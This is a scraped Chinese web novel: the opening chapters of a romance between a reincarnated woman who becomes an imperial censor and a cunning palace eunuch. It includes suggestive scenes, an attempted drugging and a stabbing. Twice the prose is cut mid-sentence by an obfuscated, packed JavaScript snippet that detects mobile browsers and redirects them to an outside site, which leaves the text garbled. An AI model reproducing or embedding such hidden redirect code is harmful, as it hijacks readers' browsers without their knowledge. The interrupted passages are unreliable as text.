《【GB】大女人的加油站》 1. 和蛇蝎美人太监成为宿敌后(一) 正直莽撞不懂变通古板书生女主×阴郁狡诈蛇蝎系阴湿美人男主 李新蝉上辈子是个厂妹,高中文凭,二十多岁累死在流水线上。谁料这辈子再投胎,成了京城里猪肉西施的女儿。李新蝉只好撸起袖子,一手剁肉一手读书,终于在二十岁那年进士及第,成为三甲中最没存在感的榜眼。 但这都没关系,李新蝉觉得能当官就算祖坟窜稀了冒这么大青烟。于是进入御史台后她兢兢业业地谏言,京城里大大小小的官参了个遍。最后反而得罪了皇帝跟前最得宠的太监阮芳庭。可这阮芳庭貌若好女心似毒蝎,朝堂上下也就李新蝉头铁敢指着他骂。阮芳庭好脾气,掩面笑眼微眯,抚了抚李新蝉的官帽说让她下朝别走。 满朝文武只觉得李新蝉这炮仗命不久矣,唯独李新蝉梗着脖子,下朝后直愣愣朝着阮芳庭的马车爬上去。马车里咚的一声,同僚掩面不忍,只等给李新蝉收尸。而“死鬼”本人正被蛇蝎美人掐着脖子,一手拆掉她的官帽,一手又抚上她的嘴唇,磨牙似的咬了一口。阮奸臣艳若桃李,青丝披散,故意撩着李新蝉,缓缓道:“李大人,方才朝堂上骂我骂的那样狠,现下该疼爱我了,希望你也能一样狠呀......” 李新蝉×阮芳庭 ------------------------------------- 腊八这天李荷花女士一大早就开始哐哐哐剁肉馅,京城里天还一片青黑,只有城郊的莫愁山镶了一层金色的边。 四合院的邻居也搓着手蹲在门口烧炉子,我半梦半醒走过去,听见他吆喝一声要我娘给他留二两后腿肉。我只管点头,出门前又被李荷花女士叫住:“这么大个人了,连个衣服都穿不好,你看这扣子扣得像吴老头的门牙,歪歪扭扭的,净叫同学笑话。” “不是同学,是同僚,还有你女儿今年已经是右佥都御史了,虽然穷,那也是实打实正四品的京官,知道吧?”李荷花女士个头矮,只到我下巴那,但一身杀猪剁肉练出来的肌肉,曾经一拳打跑三个酒鬼登徒子,完全就是袖珍版女战士。 对于我的纠正,李荷花女士不以为意,给我系好扣子后又解开粗布围巾,将我的脸围得只剩一双眼睛,这才满意地点头,系上围裙又回到案板前,一手拎着一把刀对我说:“今天下朝带个朋友回家里吃饺子啊,带不回来你也别回来了。” 说完最后一个字,铛的一声,猪肋骨被横劈成两段,我哆嗦着呼出一口白汽,朝着李荷花女士重重点头:“请亲娘放心,今个我绑也给你绑回来个好朋友!” 因为买不起马,所以自从回京进入都察院之后,我每日上值都是“酷刑”。天不亮就往皇宫里赶,路上随便买个肉饼啃啃,走到武侯街,阮府的宅子前面停着马车,我赶紧拍掉手上的油渣,跑过去艰难地往轿子里爬。穿得太厚就这点不好,我此刻撅着腚像只企鹅似的挂住,正想喘口气继续爬。忽然面前靛青色的帘子被掀开,一只莹白修长的手摊开,在微明的夜色中似乎泛着冷光,只有指尖沁着一点楚楚的艳色,好似梅花香雪,勾的人遐思无限。 我愣了愣,想到自己刚吃过肉饼,手上还沾着油腥。而这人又是半点荤腥都沾不得,便抓紧车辕,猛地一跳终于滚到车厢里。 那只手也随之缩回,手的主人碾了碾指尖,靠在另一侧,隔着张桌案睨着我,忽然弯唇意味不明地笑起来:“说好只在宫里和我保持距离,结果天还没亮,街上半个人影也没,小李大人就迫不及待和某划清界限........真真是提上裤子就不.........” “嘶,你打住。”我对阮芳庭的性子实在熟悉,不耐烦地打断他,而后端起桌上热腾腾的茴香馄饨,吃了几口暖和身子后才对他说起好话:“你知道我没有那个意思,就不要总是耍性子。说实话阮芳庭,我现在也不知道咱们该算什么关系。” “是吗?”阮芳庭嗤笑,抬手倒了杯热茶递给我,又慢悠悠地从怀里抽出手帕给我擦汗,一张美艳的面孔凑近,甜腻的花香也缠绕住我的气息,阮芳庭勾起我的碎发掖进官帽里,而后笑盈盈道:“可小李大人睡我的时候,说我是你的老婆啊,还说老婆是对一个男人最高的嘉奖。怎么?小李大人素来博学强识,现在是忘了吗?” 小馄饨卡在喉咙里,一时间吞也不是咽也不是,我红着眼接过阮芳庭递来的茶水,仰头顺下去,又泄气一般擦了擦拿他的袖子擦了擦眼角呛出来的泪花。实在无奈,我只好对他解释:“可咱俩好的时候,你也不是内省厂的提督啊,何况都察院和内省向来也不对付,咱们搞到一起算什么事啊?” 阮芳庭这时不装了,眉目冷下来,坐回去不耐烦地理了理头发,直接问我:“所以你要为了那些伪君子和我决裂?李新蝉,到底是我不够漂亮还是不够有钱有势?你凭什么不要我?” 我就知道阮芳庭装不了几天好脾气,十六岁第一次在太学碰见他时,清瘦伶仃的小太监被罚跪在雪地里,身上都没热气,愣是不许旁人碰他。后来便是和他滚到一个被窝,这人也没几个好脸色,每每都是吹了灯才肯让我摸他,中途若是碰到他挨了一刀的地方,那就不管怎么意乱情迷,也是定要把我撵下床的,半分情面也不讲。 我又喝了几口馄饨汤,刚好马车到了依柳巷,再往前走几步就是承天门。车夫熟练地停下,我想不明白该怎么跟阮芳庭说,他眼皮又晕开一抹血痕似的湿红,本来生得就良玉碾成一般,现下这般强忍着眼泪的模样,更是直戳我的心窝。 “你讲不讲道理,我刚回京一篓子事都没理清楚呢。咱俩的感情问题更得往后放放,你总要给我点时间接受自己娇花老婆突然变成食人花这件事吧!” 我越说越气,系好围巾又像只企鹅似的往外挪,结果穿得太厚卡在车厢门口时,我扭头看了看还红着眼睛吃我剩下那半碗馄饨的“食人花”,咳了两声,说:“过来踹我一脚,还有那个,那个下朝跟我回家吃饺子去。” ------------------------------------- 我记得我考上太学那年,李荷花女士特意给我扯了块胭脂红的布料做衣裳,因为怕沾上墨水,还用家里的旧布做了件土绿的外褂。穿着那身红配绿去太学那天,李荷花女士十分激动,站在猪肉摊前那围巾掖了掖眼角,又摆手让我赶紧走别挡她生意。 这身衣裳实在说不上好看,但我穿着仍觉得神气活现,走得大步流星。家里的钱大多都用来给我读书用了,街坊邻居这些年也长劝李荷花长点心眼,虽说女帝即位后特赦女子也可读书科考,但千百年来女子嫁人生子才是正事。更何况李荷花一个寡妇拉扯着女儿,生计艰难,还要供她读书,到时候嫁出去的女儿泼出去的水,李荷花操劳半生也落不到个好,还不如改嫁再生个儿子,后半生也算有个依靠。 这些话都是在我小时候常说的,大人以为我听不懂,但殊不知我芯里就是个半熟的。上辈子读到初中,我奶也是听了这些话,就掐了我的学,收拾了几身衣裳让我跟着婶婶去南边进厂打工。 我读书其实蛮好的,初中副校长也夸我有灵气。但进厂后就渐渐不怎么看书了,每天从流水线下来就回宿舍睡觉,偶尔上铺的姑娘借那种五元一本的言情小说,分享给我一起看,我则会因为上面的字犯恶心。一个厂妹能有什么心病?我日复一日地在流水线上工作,直到二十三岁终于攒够了三十万,奶奶打电话说这钱可以刚好够给我爸在镇上买新房子娶后妈。 那天挂电话时我小声地奶奶说这钱要拿来给考成人高考上学用,她破口大骂我白眼狼,一直到工友喊我上夜班。那天晚上两点多我昏过去的,后来再也没醒过来。我怀疑是心梗,总之猝死掉,我还挺高兴,就是想到存款多半还会落到奶奶手里,又有点难过。 不过上一辈子的心事就该留在上辈子,我不算个执着的人。偶尔可能会怨过老天,但这辈子能带着记忆做李荷花女士的孩子,我又挺窝囊地想和老天握手言和。 李荷花女士十岁丧母十五岁丧父,后来没有嫁人而是成为了乌仁街的“猪肉西施”。李荷花女士生得柳叶眉桃花眼,但剁起猪头肉也是虎虎生风。许多登徒子都被李荷花提刀撵过,后来城东走镖的小子抗住了李荷花的那把菜刀。于是她嫁给了走镖的小子,又在婚后第二年成为寡妇,肚子里还揣着八个月的娃娃。 街坊四邻都说是李荷花祖祖辈辈杀猪造下杀孽,所以家里男人才都不得好死。李荷花拔刀砍在门上,指着他们挨个问杀猪的有罪,那吃猪肉吃得满嘴流油的又怎么算? 周围人答不上来,便说李寡妇疯了。而李荷花女士却不在意那些闲言碎语,她继续做着杀猪的买卖,从背着我到把我放在猪肉铺的篮子里,到后来开蒙,李荷花拎着腊肉和束脩把我送到城东最好的私塾。也不过是因为我小时候问李荷花女士:“娘,我读书挣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125188|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱给你养老好不好?不成婚好不好?” 李荷花女士在剁排骨,炉子里柴火烧得旺,映出她半边红彤彤的脸。李荷花女士没有扭头看我,但拿着菜刀的她像个女战士,对我说:“读书很好,但不能是为了给娘养老。李新蝉,你娘没什么本事,但只要还能握得住这把杀猪刀,那我的女儿,就可以放手去闯她的天地。” “至于成婚.......”李荷花女士哈哈笑起来,扭头眨了眨眼,“如你所见,我们李家的女人不靠男人,也能杀猪砍柴,也能活得热热闹闹。” 刚到太学那会,寒门和权贵分做两派,平时倒不怎么来往。不过我算是个两耳不闻窗外事,下了苦功夫去读书。我倒是知道他们都叫我杀猪刀,但只要不撕我的书或者抢我的钱,这都还好说。 当然也因为没什么朋友,在太学的寝室只余下最偏远的一间给我,又没有室友,蚊虫也多。但是熏完艾草撒上香灰也能住人,并且还能挑灯夜读不必担心打扰室友,这倒是意外之喜。 在太学第一年的年考,韩博士留我又将明日口试的经义部分讲了一遍,他是寒门及第,又怜惜我家贫好学,所以平日对外都说我是他的亲传弟子,该叫他一声师父才是。 虽然我怀疑其中一部分原因是韩博士爱吃李荷花女士腌的腊肠,但这都不妨碍韩博士是个好人。开完小灶回寝室时,天色已然黑沉,腊月的鹅毛大雪裹着风往人脸上砸,我绕过勤学湖回寝室,路上风雪大,灯笼拢不住火,只能抹黑走。结果到柳树下就被绊了一跤,一团冰凉的软物压在身下,只发出一声虚弱的呻吟,我吓得手脚并用想爬起来,但雪太厚,刚支起身子就又砸下去,正对上一双寒光凛冽的漂亮眼睛。 说他眼睛好看,实在是因为当时他只有一双眼睛没被糟蹋。我爬起来将身下的人从雪地里刨出来,他呼出的气息都是凉的,裸露的皮肤生着红疮,尤其脸上还被抓出一道道血痕。我差点没叫出声,但下一秒又被怀里的人颤抖着推开,他一双好看的眼睛阴沉似水,黑夜里颤抖着抱紧自己,仿佛是被虐待的猫咪一样,呲着獠牙怒视来人。而他还在往后退,下一秒就要跌到冰湖里。 “不许动,你都长成这样了还怕我图你什么?不管怎么样,你最好跟我回去,今晚冷得很,要想死也总得等个暖和的日子吧。” 我说话不中听,但也是废了心思劝他,那双眼睛闪过一瞬的怔然,而后再凝神时,我却已经揪着他的领子将人拖到了怀里。李荷花女士说过,武力不能解决问题,但武力能解决制造问题的人。我现在才深以为然,卷起书往怀里这人头上一敲,本来还在愤然挣扎的手脚软下去。 我松了口气,将这只病猫半拖半拽往寝室走时,深深浅浅的脚印交错湮没在雪夜里。我也没想到,我和他的命运,也从此深深浅浅地纠缠到了一起。 第二日我去考试,走之前给他留个一盘李荷花女士包的猪肉芹菜饺子,还写了纸条教他如何烧水热饭。但出门前却又顿住,挣扎片刻还是解下围巾给他放在枕边。我并不确定他愿不愿被我救助,如果这少年非要离开,有条围巾,应该多少还能遮一遮受伤的脸吧。 年考结束时已经是下午,三五考生成群地约着去世锦街放松,我既没约,也不着急回家。去到东街的春晖堂买了治红疮的膏药,我又没忍住在路边买了盒桃酥,抱着怀里悄悄回去寝室。 本来以为一半可能,那人会走。但推门进屋时,先是暖融融的烛火,书案乱扔的典籍被归置整齐,一摞摞放好,床铺也铺得整洁,连地上的瓜子壳都被扫干净了,炉子上咕噜噜烧着米汤。少年用我的红围巾蒙着面,露出一双凌如霜雪的眼睛,只看着我,姿态贤惠,语气却是冷的,硬邦邦道谢:“你救我一命,算我欠你的,日后若能抓住机会,我会报答.......” “醒了?看来精神不错,”我开腔打断他的话,将药膏放到桌子显眼的地方,又走到炉子旁挨着他坐下,到了碗米汤,又将桃酥泡进去,而后递给漂亮眼睛的主人,笑眯眯说:“你试试用桃酥泡米汤,特别好吃的,旁人都不知道这个吃法呢。” 那浓密的眼睫颤了颤,烛光下扇落蹁跹的蝶羽。他扭头看了看桌上的膏药,又看着我,一片潋滟的暮光霞色晕开在眼乌珠里。接过瓷碗,指肚的伤烫得他差点拿不稳,但显然少年很擅长忍痛,没说烫,他只是低头吃一大口,很认真地又重复一遍:“总之我不会欠你的,一定不会。” 2. 和蛇蝎美人太监成为宿敌后(二) 这少年很会伺候人,一间破寝室每天被他装置得像寝宫一样,被子如何叠都有讲究,我时常笑称他是田螺王子,这时他就会恼,因为他不喜欢田螺姑娘舍弃螺身嫁作农妇的结局。我见他是真的恼,便庄重神色,张口又叫他芳芳。因为少年的名字是阮芳庭,虽然极大可能是化名,但我也不太在意,芳芳叫起来亲切又顺口,便这样叫了,虽然每次都惹得少年羞愤,但看着那双漂亮眼睛晕开鲜活的怒意,也是种活色生香的享受。阿弥陀佛,看来读书也治不了好色的毛病。 芳芳总是用红围巾掩着面,涂药也是吹灯后背着我涂,所以他的脸究竟恢复到什么程度,一直到除夕夜我都没看清过。除夕那日李荷花女士堵在太学门口拖我回家,一路上也没找到时间回去跟芳芳说一声。焦灼地在四合院砍完柴火剁完肉馅包完饺子又帮邻居小孩点完爆竹,我终于在李荷花女士煮饺子时找到机会,端起刚盛出的第一碗骗她说:“韩博士说最喜欢你包的茴香饺子,我顺路给他去送一碗。” 除夕夜多是邻里串门,李荷花女士借着话茬又炫耀起韩博士对我的器重,没太注意我端着碗跑得好似逃命一样。终于赶回太学,我绕小路走到寝室附近,瞧见窗子后一片漆黑,心里却隐隐落定,本来就是随手救下一只流浪猫,伤病养好后默默离开倒也是种体面。 只不过手里的饺子不能再端回去吧,我推门进屋准备自己吃掉,但刚把碗放下,起身到床边找火折子时,铺开的被褥下却动了动,一张艳若桃李的脸蛋正映着微弱的烛光与月色。阮芳庭披散着乌发,裸露的肌肤雪白细腻,好似良玉碾成一般。兼之少年眉目媚丽,这般俯视着看,还真是濯濯如春月柳,滟滟如出水芙蓉。 说实话没见过这么好看的人,上辈子我也被工友安利过不少明星网红,但都比不上床上的少年。端着烛台,我没出息地后退几步跌坐在椅子里,蜡油滴在手背上,才疼得我一个激灵,背过身对他说:“芳芳,要不你还是遮着脸吧,我、我现在有点.......有点.......” “有点什么?你是在怕我吗,李新蝉?”少年赤脚走下床,月影中愈发像个艳鬼,绕到我面前,他却又俯下身,撩起颊边的头发,一张媚丽的面孔凑近我,他呼吸滚烫,我怀疑他染了风寒,抬手想碰他的额头,却被阮芳庭攥着捧在了颊边。 少年红艳的唇瓣若有似无地蹭过我的手心,他偏着头,眼尾留有残红,一双眼乌珠也被泪浸过,潋开细碎的光。他这时并不嚣张,收敛爪牙,只用柔软地唇瓣偷偷贴我,阮芳庭问:“李新蝉,只要足够漂亮,是不是就不会被你随意丢弃?” 我和阮芳庭一起分食那碗饺子,十几岁的男孩子本来胃口就大,但他多吃几个,就要害怕地抬眼看看我,直到我又将饺子喂到他嘴边才肯低头咬一口。 “像你这样吃饭,被李荷花女士看到,肯定要亲自端着碗将你喂到扶墙而出。”我忍不住戳阮芳庭的脸,他鼓着腮帮子瞧我,颊边是这些时日养出来的一点肉,雪润可爱,下意识弯了弯眼,阮芳庭故意问我:“本朝美人多是体态轻盈,若是我吃胖了,是不是没几日就要被你休弃?” “吃胖了不好看,那吃不饱饭长成个萝卜秧就好看了?” “李新蝉!你.......”阮芳庭等着我哄他,但没想到我不解风情,气得伸手又勒我的脖子,但我先一步揽到怀里。少年一身娟丽秀致的皮肉,裹着的却是一把冷硬的骨头。 他长手长脚的,我抱不住,便只从背后搂着阮芳庭的腰,给他指窗外明灭璀璨的焰火。阮芳庭安静下来,抓着我垂下的一缕头发,眼乌珠映着焰火与天光,忽而间,唇边露出稚气希冀的笑。 “李新蝉.......” “嗯?” “我给你当田螺王子,你给我一个家吧。” ------------------------------------- 岁试成绩好,我便由韩博士引荐升格到了天乾班,并且被纳入中央六学的学生,开始为期三年的监试备考。天乾班有寒门,但更多是凭借家族亲属的官职品级按等就学的权贵子弟。 我在其中原本不算显眼,但又因为阮芳庭总给我送饭食的缘故,使得太学许多同窗都知道我在寝室里藏了个“美娇娘”。说他美娇娘,是因为我发现阮芳庭被我撞见几次偷穿我的衣裙。原本我的衣服是每旬一次拿回家给李荷花女士洗,而阮芳庭住下后大包大揽了我的日常起居。所以我到底有什么衣服他最清楚。 后来寒食节放四天假,我要回家去住,原本走的时候就看阮芳庭垂着眼一幅幅恹恹的模样,我想抱他,他也扭过身子不让。直到假期第三天,我放心不下就扯了个温书的幌子,火急火燎跑回太学,路上还给他买了刚出锅的红豆饼,打定主意要好好哄阮芳庭。 结果太激动就没有敲门,掀开帘子跑到寝室时,我只见到一个绮丽的身影背对我坐在床上。阮芳庭穿着我那件洗旧的软银轻罗百合裙,一双玉白的脚踝露出来,听到掀帘的声音,被惊动的肩头颤抖起来。回头的瞬间才让我看清少年此刻的脸,眼下耳畔漫洇着潮红,唇瓣湿红,眉目间凌厉的美也变成了被揉碎的樱桃,透出将熟未熟的甜腻。 不太明白阮芳庭当时在做什么,但我心跳得极快,撞得整个胸腔都发麻,喉咙也痒,我下意识走到床边,在阮芳庭要钻进被褥里之前,攥住他的脚踝,用力掰开之后又往上摸,茫然地看着他说:“没穿裤子,为什么?” “呜.......嗯,疼,别乱动,李新蝉.......”阮芳庭攥住我的手腕,慌乱地扬起笑,将我的手压在他的大腿下面。而后才伸手搂住我,揉着我跑散的头发,又低下声音可怜地说:“我是想你,可你不回来,我也不能去你家里找你。没忍住就想着偷穿你的衣服,能闻着你的味道,我还能骗自己是被你抱在怀里。” “可是......” “李新蝉,你觉得我穿裙子好看吗?”他打断我,又故意贴过来用脸蹭我,使得我在四月天里生了一脊背的薄汗。不自在地推着他,我只好说:“好看呀,但再好看的人,穿裙子也要不能光着腿,会着凉的,而且现在才四........” “你、你气死我算了!李新蝉,我再问你,如果我是女人,你还喜欢我吗?” 阮芳庭忿忿地捏住我的嘴唇,又咬牙切齿地问。我有些难受,扭头挣开桎梏,这才又认真打量起来面前衣裙凌乱的少年。蹙眉思索着,直到阮芳庭眼里浮现惊慌,又想伸手搂我时,我才终于捏住他的下巴,目光坦诚地回答:“长成你这样,管他是男是女,能亲一口,这辈子都值。” 说完我红着脸贴了下少年的唇瓣,他也怔住了,手里还抓着我的头发,片刻后又嗤嗤笑着拥过来,抱着我又亲了一下。 “你们读书人可真肉麻,哼,不过我喜欢.........嗯.......我是说,我喜欢你,李新蝉。” 阮芳庭后来便喜欢上穿女装,我不拘着他,并且试着写话本子,攒了些钱给他添置几套合身的罗裙。他其实很会过日子,日常开销也要拿着账本细细记着,但我喜欢打扮他,就像小姑娘得到了心爱的娟人,恨不得一天三套衣裙让他换着花样给我看。 后来入夏,骑射课上我中暑晕倒,从马背上摔下去,还没抬回寝室,阮芳庭不知从何处得到消息,踉跄着从屋里跑了出来。那天他恰好穿着新作的烟云蝴蝶裙,又覆着面,打量起来完全就是个高挑清瘦的姑娘。 阮芳庭紧张,但没乱了分寸,只告诉韩博士,他是我的远房表姐,逃难来了京城,没地方可住便借宿在了太学。阮芳庭又蹙眉,一双眼睛本就生得好看,故意噙着点泪,更看得人心软。他求韩博士不要怪罪我,又走到同窗身边,伸手强硬地从他们怀里将我揽过来。 太学本来就有怜幼惜贫的传统,灾年时校长也常收留难民。所以韩博士帮我在司业处登记之后,便给阮芳庭安排了一个在藏经阁洒扫的活计,每月不仅有例银还分了新的宿舍。但阮芳庭只愿黏着我,上下学也总是将我送到教室外才肯走。我心里享受着他的依赖,但又担心他身份暴露,所以总劝他不要招摇,认真工作才是正事。 “我只是送我的好妹妹上学呀,有什么招摇的?”阮芳庭生气,将书摔到我怀里。我无奈地拉着他到柳树树荫下躲太阳,又趁机掀开他的面帘在脸上偷亲了一下。阮芳庭眼里的红变了味,湿哒哒地嗔着我。我这时才顺势继续说:“可是你长这样,本来就很招摇了。更何况太学里很多权贵子弟多是好色之徒,哪个对你起了歹心,我会发疯的。” “你骗我,你才不会发疯呢,你只会死读书,在心里就书本最亲。”阮芳庭反驳我,便明显被顺毛了,捏着我手间写字磨出的茧子,服软道:“好吧,我不粘着你,但晚膳要一起吃,晚上也要一起睡,不可以找其他人,知道吗?” 备考监试的三年过得快,好在平静恬淡。李荷花女士的猪肉铺又扩张了,忙起来不太顾得上我。而好在阮芳庭很会照顾人,三年里我抽条不少,气血也充盈,头发也被养得乌亮,熬夜看书也没秃头,说起来还真要给阮芳庭磕一个。不过他也享受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125189|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个过程,兴致来时还教我描眉化妆,但好几次画好了妆,他端详着我,又闷闷地说:“好看,你现在变成朵招蜂引蝶的花了,而我要变成你的糟糠妻了。” “你怎么张口就是冤枉我呀?”我笑着去搂少年的腰,他也自然地跨过来坐我腿上,这三年里也给我们养成了贴贴的习惯,总想抱着搂着,黏得喘不过气才心安。 “我考完科举就娶你,你无父无母,刚好上门做我的娇妻好啦。” 说完屋里沉默一瞬,肩头的衣料渐渐洇湿,他哭了,但又不许我看他,只是低头将我的口脂吻花。阮芳庭的眼泪落到我脸上,他又搂着,将要窒息那种亲密,说:“好,那等你考完科举,我也告诉你我所有的秘密。” 春闱放榜那日,我早上被李荷花女士叫起来斩排骨,街坊邻居坐不住,一会过来问一次我们娘俩何时去贡院看榜。李荷花女士正在卤猪头肉,闻言也只是说:“不急,榜就在那,现在去急和一会去看,名次又不会变。再者说考得上是好,考不上也没关系,李新蝉年纪还小,多考几次也是应该的。” 话说得漂亮,但李荷花女士半夜起来能烧了三回香,今个这么说,也不过是怕给我心理压力。我都懂,也不怎么着急看榜,估计阮芳庭在太学肯定坐不住,应该早早就去贡院外等着我。挺好的,如果考上了,由他来告诉我,我会更开心。考不上的话,从他口中说出来,我也不会那么难过。 这边我一扇排骨还没斩完,乌仁巷口就传来一阵锣鼓敲打声,一队京兆府的人骑着高头大马,喜气洋洋地捧着金花帖子走过来时,我才放下手里的菜刀,看清为首的人竟是内省厂的太监打扮,心里狐疑,但仍老实地扯住李荷花女士跪下行礼。 内省厂的厂督如今是吴兆,对于此人,我了解不多,只隐约从韩博士那听闻过他的事迹,只知是个手段狠辣的人。他笑眯眯地恭喜我荣中榜眼,宣读完场面话,弯腰将金花帖子递给我时,又贴面凑近,忽然低声问候道:“听闻李姑娘在太学藏了个美娇娘,说来我与你那心尖上的娇娇倒是有几分前缘,早年也在宫里见过几面。李姑娘有任何疑问,欢迎来吴府找我呀。”说完吴兆将一块玉佩塞到我袖子里,再起身时又好似什么都没有发生,领着一队人马继续敲锣打鼓地离开乌仁巷。 只剩我愣在那,春光明媚,喜鹊啾鸣,连巷尾的大黄狗都不明所以地叫唤起来。街坊邻居将我围在中间,李荷花女士背过身擦眼泪。我被我娘抱住,却像陷在棉花里,触不到实处。 空茫茫地,我不明白,问我娘:“想要一个密不透风的小家.......好难呀,妈妈。” 我想读书,想要一个小小的,有亲人有爱人的小家。但偌大的京城中,我以为的小小幸福,原来早就四面楚歌。 大抵是因为对结局总有太多悲观的预测,我不太敢面对真相,也不敢面对迷雾后的阮芳庭。同僚特意找来邀我去醉月楼的期集,今年考中的学子都在那里聚会,还有许多达官显贵前来攀谈。我破天荒地答应了他们,没换衣服穿着罩衣就去了,在席间只闷头喝酒,意兴阑珊之间,一个人影晃过来。 面孔有些模糊,应该是怀亲王的次子杨昭,他比我早入太学两年,但因为学业考试总不及格,便拖到了现在马上要被强制退学的地步。杨昭这人名声不好,爱玩妖童媛女,踏上手段也残暴,闹出过不少条人命。我不是很想和他接触,但喝到现在手脚已经不听使唤,杨昭捏着我的脸又灌了半杯酒,周围的人不知何时相互使眼色都离开了包厢。 我估计自己是被算计了,便挥下桌上的杯碟,后退着将碎瓷片攥在手里。杨昭见我这样,好整以暇地脱掉外袍,阴笑道:“别这样,李新蝉,我爹需要拉拢新党,如今姑母即位,你又是女官,寒门出身,无依无靠。嫁入亲王府做我杨家的政治工具,实在是再合适不过了。这本就是一桩两全其美的生意,怕什么,过来。” 杨昭朝我勾勾手指,而后已然撑不住,瓷片割破手心,我靠着柱子往下滑时,血顺着手腕啪嗒滴在地板上,和着杨昭的脚步声。 我会死,我这样想,举起瓷片抵在颈间时,下一秒手腕又被击中,沾血的瓷片掉落,眼前一道白刃寒光,杨昭怒睁着双目倒下去,而后露出一张染血的媚丽面孔。阮芳庭唇瓣抿成一条线,苍白颜色,他冷静地攥着刀柄一次次刺进杨昭胸口,血溅在我们两人交叠的衣裙上。 阮芳庭看着我,泪水漫洇,杀气仍在,他擦干净手上的血水,战栗地牵着我,这才开口说:“李新蝉,不要去听别人的话。我的秘密,我会亲口告诉你。” 3. 和蛇蝎美人太监成为宿敌后(三) 十岁进宫,阮芳庭因为生得姝丽,被当时还是司礼监随堂太监的吴兆选中,搁在身边精细地养着。阮芳庭私下叫吴兆干爹,但其实心里知道他的意图,好多次吴兆黏腻的目光刮在他身上,阮芳庭都只仰着脸笑,装作孺慕的神态。后来阮芳庭十六岁时,吴兆寻到机会,在宴会上让安和公主与杨昭同时看上了这个貌美的小内侍。安和与杨昭这对表姐弟都是荒唐性子,争夺几番后,吴兆选择站队公主府,便将阮芳庭送去给安和。 可没料到,朝廷局势风云变幻,抬着阮芳庭的轿子还没到公主府,皇帝就下令将公主府围了起来,监视安和直接押去邻国和亲。吴兆走错这步棋,在宫里的地位也岌岌可危起来,秉笔太监刘贺本来就忌惮他,吴兆被调去直殿监,自顾不暇,也顾不上杨昭将阮芳庭抢回府这档子事了。 阮芳庭被各方抢夺,却品不出一丝被珍重的意味。吴兆、安和、杨昭,还有他的父母,他们没有人把他当人。阮芳庭恨急了,便故意染上水痘,在杨昭抓他去太学狎弄泄火时,又抓破自己的脸,败了杨昭的兴致,又因为知道了杨昭不能人事的秘密。就被他摁进勤学湖淹死,但杨昭当时醉醺醺又磕了许多药,脑子混沌,见湖面没有动静就骂咧咧地离开了,没料到身后阮芳庭又爬了上来。 他也不明白为什么自己活得这么贱,还是不愿意死。但爬上岸,跪在雪地里时,阮芳庭又想,或许他是不想被那些大人物碾死,蝼蚁也有蝼蚁的骨气。阮芳庭宁愿在这片白茫大地里冻死自己。 可后来,阮芳庭绊倒一个书呆,书呆告诉他:“今晚冷得很,要想死也总得等个暖和的日子吧。” 她说得有道理,阮芳庭身上冷极,脑海中又像沸水炸开一样,他想不明白深奥的问题,只是觉得......是该看看春暖花开的日子呀,不然多可惜。 听他讲完,我的汗一滴滴顺着脖颈淌湿衣领,春夜的寒气重,我却热得发懵,分辨不了信息,只牵着血泪染面的少年往后面干净的厢房去。他被我惯到床上,没怎么反抗,只是在我压下来时,掐着我的脸问:“李新蝉,我不是你的田螺王子,我是不男不女的太监,你明白吗?” “嗯........嗯.........”我胡乱点头,难受地贴在阮芳庭颈侧,羽毛蹭过羽毛,惹得他也难受地扯开衣领,但仍继续又问:“李新蝉,我是被当做床奴养大,但你是第一个睡我的人,你知道吗?” “知道知道,芳芳,我难受,你能不能把衣服脱了,我难受.........” “乖孩子,”阮芳庭抚着我的头发笑了,眼尾却溢出两道细细的热泪,打湿了双耳,他将衣领拂乱,露出一捧月光下的雪白,山峦旖旎的曲线。他勾着我的手解开裙子的系带,阮芳庭摆出了放铛的姿态,那泪润的目光却虔诚,好似献祭的决心,他将吻落在我的眉心,哑声说:“那你睡了我,就不能再抛弃我了,不管发生什么事。” “嗯,不管发生什么事。”我倾身赴青山谷缝,唇瓣却轻柔地回吻他。 我也哭了,只是混着汗水,阮芳庭不知道。 ------------------------------------- 杨昭惨死之事,最终还是被内省厂给压了下来。女皇这些年削藩,怀亲王被召回京中也是意在监禁控制。如今舍掉杨昭一个不能传宗接代的弃子,卖给吴兆一个好处,怀亲王倒也是拎得清。 吴兆要我归顺内省厂,试图从新科进士入手离间新党,而我那天日出前站在吴府的阶下,沉默许久,一身露水压湿衣角,只要身后阮芳庭担忧地去牵我的手。 这时我才回过神,攥紧了身后之人的手没松。我和吴兆谈判,他将阮芳庭安排进内省厂,以此躲避怀亲王府的追责。至于我,保证自己在朝中不会站队新党。 今年新科进士里不知会有多少人被吴兆收拢,但我明白其实他只是看重我在寒门女官中的表率作用,做到不站队,就已经是对如日中天的内省厂的助力。 二十岁考入翰林院,我成了个不起眼的修撰。朝堂上我多是沉默寡言,渐渐科考的光环褪去,我成为同僚不经意是提起的“那个死读书的”。从翰林院到内省厂要穿过半个宫城,中间路过一块废弃的荷花池,荷花池旁总站着一个妖冶媚丽的小太监,一日一日地等我来说几句话。 